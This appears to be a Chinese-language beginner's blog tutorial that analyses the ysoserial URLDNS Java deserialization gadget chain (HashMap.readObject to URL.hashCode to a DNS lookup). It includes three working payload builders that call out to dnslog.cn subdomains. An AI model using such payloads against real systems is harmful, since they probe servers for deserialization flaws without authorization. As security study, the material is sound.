上一篇文章我们可以了解到,我们想利用反序列化漏洞的话,必须找到一个类重写了readObject方法,然后反序列化的时候会将我们重写的readObject实例化,从而导致执行命令。
1.ysoserial的URLDNS
直接查看一下这款工具构造的payload是啥样的,工具自行下载,可以去github下载下来之后自己使用maven打包,或者有直接打包好的jar包,然后将它导入到idea中来
找到idea中的Project Structure,windows和mac位置不知道一样不一样,
然后按照如下,就能添加进来了
然后在对应的payload中找到URLDNS
发现利用很简单,五行代码就可以,第一个是写了一个子类继承URLStreamHandler,其中SilentURLStreamHandler的定义在下面那,让两个函数返回null,然后就是新建了一个HashMap,再新建一个URL,将URL和一个字符串的url放到HashMap中,最后是使用Reflections给hashCode这个变量赋值,即反射赋值,学习反射的时候这个忘记学习Field了,这个也很有用,在这篇文章学习一下。
使用上面几行代码就可以实现dnslog请求了,那我们需要找到哪个类有readObject方法,跟进寻找一下即可,发现是HashMap这个类,大致看一下内容即可,我们只需要寻找利用点即可,最后发现 putVal(hash(key), key, value, false, false)这个函数,继续跟进
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
继续跟进,可以看到这个,应该就是正常的往map中放值,然后看hash()函数
跟进发现是调用key的hashCode方法,根据payload中我们可以看到,我们传入的是一个URL类的参数,那么这里应该会调用URL的hashCode方法,于是我们去URL类看一下
找到hashCode方法,发现其中会对hashCode值进行判断,如果不是-1则返回hashCode的值,否则会继续调用handler的hashCode,那么继续跟进hashCode方法
进入hashCode方法, 发现有一个getHostAddress()方法,继续跟进调用,最后来到
发现最终其实调用了InetAddress.getByname() ,那么这个方法是干嘛用的呢?
查阅资料发现,这个就是给一个域名,返回一个ip,就是域名解析,所以就能执行dns请求,我们可以在dnslog上申请一个域名测试一下。(代码参考:Java InetAddress getByName() Method with Examples - Javatpoint)
从上面我们可以知道:在HashMap中有readObject方法,在URL类中我们可以触发DNS请求,于是将两者结合起来就可以构成payload。
但是!在我自己编写payload的时候,我发现直接使用map.put(url,"http://rv1lxp.dnslog.cn")的时候还会触发dns请求,那这样就不太好,使用的时候就会不知道是自己触发的还是目标触发的,那么我们需要找到一种方法使得我们在编写payload的时候不触发dns请求,这种可以实现,没错,就是从hashCode函数出发。
我们先回到URL.hashCode方法,
在上面我们可以找到hashCode变量的定义
由上面的分析我们可以知道,当map使用put方法的时候会调用putval(),其中还会使用hash(),在这种方法的时候会使得我们传入的key调用hashCode()方法,从而出发dns请求。
到这我们就会有想法了:
- 可以在使用map.put()之前,我们将URL类中的hashCode的值修改为不等于-1,然后在使用map.put()之后将hashCode的值修改为为-1
- 不使用map.put方法,直接使用putval()方法将url放入map中
首先是第一种方法
反射获取到URL类,然后获取到变量hashCode,因为它是private,我们需要setAccessible修改一下作用域,然后修改其值为不为-1,然后执行map.put方法,然后再修改值为-1即可
需要学习的东西是如何获取到变量,之前的学习只学习到了获取类方法等,获取变量可以使用Field类来实现,其中方法与Method一样,getDeclaredFields和getFields的不同就是:
getFields(): 获取某个类的所有的public字段,其中是包括父类的public字段的。
getDeclaredFields():获取某个类的自身的所有字段,不包括父类的字段。
那么实现代码,测试的时候先把反序列化部分注释一下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DNStest {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> map = new HashMap<>();
URL url = new URL("http://rv1lxp.dnslog.cn");
Class name = Class.forName("java.net.URL");
Field field = name.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,0);
map.put(url,1);
field.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(map);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
ois.readObject();
}
}
然后是第二种的实现方法
为啥会使用putVal这个方法呢?
我们在map.put()时跟进put方法,发现会来到
其实putVal就是put的实现
那么这种办法就简单了,通过反射获取到putVal方法,然后将值放到map中,当HashMap执行反序列化的时候就会将传入的URL类给实例化,从而实现dns请求。
那么实现就很简单了
import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.HashMap;
public class URLDNS2 {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> map = new HashMap<>();
URL url = new URL("http://4lekpx.dnslog.cn");
Class name = Class.forName("java.util.HashMap");
Method method = name.getDeclaredMethod("putVal", int.class, Object.class, Object.class, boolean.class, boolean.class);
System.out.println(method);
method.setAccessible(true);
method.invoke(map,-1,url,0,false,true);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(map);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
ois.readObject();
}
}
然后我们再来看ysoserial的实现就可能好理解点了
构造一个和它差不多的payload,我们可以调试一下,过程就不展示了,很简单过程
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class DNSTest {
static class SilentURLStreamHandler extends URLStreamHandler {
SilentURLStreamHandler() {
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void main(String[] args) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, Integer> map = new HashMap<>();
URL url = new URL(null, "http://4lekpx.dnslog.cn", handler);
map.put(url, 0);
Reflections.setFieldValue(url, "hashCode", -1);
}
}
具体过程就是,我们重写了getHostAddress方法,在上面的分析中我们可以知道这个就是触发dns请求的地方,因为使用的是新建的子类,所以优先使用子类的重写方法
(参考:java 重写方法 调用优先级_多态中,方法的调用优先级_凉快一点点的博客-CSDN博客)
然后是新建的url对象
使得URL类中的方法执行 SilentURLStreamHandler定义的函数的意思。
最后通过反射重新赋值,看这名字就是给url这个对象中的hashCode变量值赋值为-1,然后就可以利用了。
参考su18师傅(Java 反序列化漏洞(一) - 前置知识 & URLDNS | 素十八)
作为一个新手接触java安全,由于基本知识掌握的不是很好,所以有的地方若是描述或者理解有错误,希望大佬们指出来,十分感谢!